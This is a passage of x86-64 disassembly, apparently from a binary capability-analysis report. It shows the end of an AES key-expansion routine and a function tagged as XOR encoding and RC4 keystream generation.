aeskeygenassist xmm0, xmm2, 0x1b
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x80], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
pxor xmm0, xmm1
movdqa xmm3, xmm2
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x36
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x90], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm1, xmm3
pxor xmm1, xmm0
pslldq xmm3, 4
pxor xmm1, xmm3
movdqu xmmword [rcx + 0xa0], xmm1
ret
Function at 0x14000b5d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movzx eax, r9b
mov rdi, r8
movzx r11d, al
mov rbx, rdx
and r11b, 0x1f
shr eax, 5
mov r10, rcx
and eax, 0x80000003
jge 0x14000b60a
dec eax
or eax, 0xfffffffc
inc eax
movzx ecx, al
movzx ebp, r11b
mov r9d, dword [r8 + rcx*4]
mov ecx, 0x20
sub cl, r11b
movzx edx, cl
xor ecx, ecx
test r11b, r11b
bswap r9d
cmove edx, ecx
sub rbx, r10
movzx esi, dl
lea r11d, [rcx + 4]
nop word [rax + rax]
inc al
lea r10, [r10 + 4]
and al, 3
movzx ecx, al
mov r8d, dword [rdi + rcx*4]
mov ecx, esi
bswap r8d
mov edx, r8d
shr edx, cl
mov ecx, ebp
shl r9d, cl
or edx, r9d
mov r9d, r8d
bswap edx
xor edx, dword [rbx + r10 - 4]
mov dword [r10 - 4], edx
sub r11, 1
jne 0x14000b640
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret